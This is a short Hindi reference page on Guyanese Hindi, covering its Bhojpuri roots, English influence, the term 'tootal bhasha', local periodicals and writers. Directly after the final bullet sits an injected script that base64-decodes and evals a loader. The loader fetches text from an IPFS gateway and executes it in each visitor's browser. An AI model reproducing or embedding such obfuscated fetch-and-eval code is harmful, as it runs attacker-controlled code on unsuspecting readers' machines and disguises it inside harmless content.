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गुयानी हिन्दी

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  • गुयाना में 1870 में भारतीय आए थे जिनमें अधिकांश भोजपुरी - भाषी थे।
  • 1980 तक यहाँ भोजपुरी ही चली।
  • बाद में भारत से सम्पर्क के बाद मानक हिन्दी का प्रचार हुआ।
  • यहाँ की हिन्दी भोजपुरी तथा अंग्रेज़ी से काफ़ी प्रभावित है।
  • यहाँ की भाषा को 'टूटल भाषा' कहा जाता रहा है। 'टूटल' भोजपुरी कृदंती विशेषण है जिसका अर्थ है 'टूटी हुई'।
  • यहाँ के अशिक्षित अब भी अपनी भाषा के रूप में भोजपुरी बोलते हैं, तथा शिक्षित लोग हिन्दी।
  • यहाँ से पहले 'आग्रोसी' पत्र निकलता था जिसमें अंग्रेज़ी के अतिरिक्त हिन्दी पृष्ठ भी होता था। अब 'अमर ज्योति' और 'ज्ञानदा' पत्रिकाएँ निकलती हैं।
  • यहाँ के हिन्दी साहित्यकारों में महातम सिंह तथा गोकरन शर्मा आदि मुख्य हैं।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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टीका टिप्पणी

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